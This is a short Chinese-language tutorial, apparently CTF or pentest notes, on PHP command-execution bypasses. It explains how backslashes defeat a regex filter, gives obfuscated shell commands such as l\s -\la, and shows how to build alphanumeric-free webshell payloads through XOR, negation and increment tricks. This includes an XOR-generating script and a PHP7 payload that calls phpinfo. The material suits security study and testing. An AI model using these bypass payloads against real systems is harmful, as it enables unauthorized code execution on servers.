反斜杠绕过正则进行命令执行
当我们输入两个反斜杠的时候第二个反斜杠会被转义,会输出一个反斜杠
php
中正则表达式,要对反斜杠过滤时需要添加四个反斜杠
下面的代码中,有两个反斜杠,第一个反斜杠
对第二个反斜杠
进行转义后
留下一个反斜杠,这个反斜杠接着对 |
进行转义,也就是说后面的|
无效了
也就不会对\n
进行过滤
也就是说下面的正则代码并不会对我们输入的\
和\n
进行匹配过滤
结合linux
环境特性,我们可通过命令中间添加\
来绕过这个正则,从而执行系统命令
l's' -la
l$1s -la
l\s -\la
无字母数字WebShell
此处代码只接收除了字母,数字以外的其他字符
也就是说只能输入特殊字符,此时怎么进行绕过并获取shell
1.通过异或运算生成指定字符
php脚本
<?php
$arr =
array('!','~','`','@','#','$','%','^','&','*','(',')','-','=','+','一','\'','"');
foreach ($arr as $a){
foreach ($arr as $b){
$answer = $a ^ $b;
echo $answer.'='.$a.'^'.$b;
echo PHP_EOL;
}
}
2.取反运算
UTF8 编码的某个汉字,将其中的字符提取出来,进行取反得到对应的字符
3.自增运算
PHP7+新思路
PHP7之前是不允许使用($a)()
这样的方法去执行动态函数,但是PHP7增加了对此的支持
在PHP7+的版本,我们可以通过('phpinfo')()
执行phpinfo
此时将异或运算和PHP7+的新思路结合起来
可通过 ("\(\@@&/" ^ ",@,).@@")();
来执行phpinfo
将\(\@@&/
与,@,).@@
进行异或运算得到phpinfo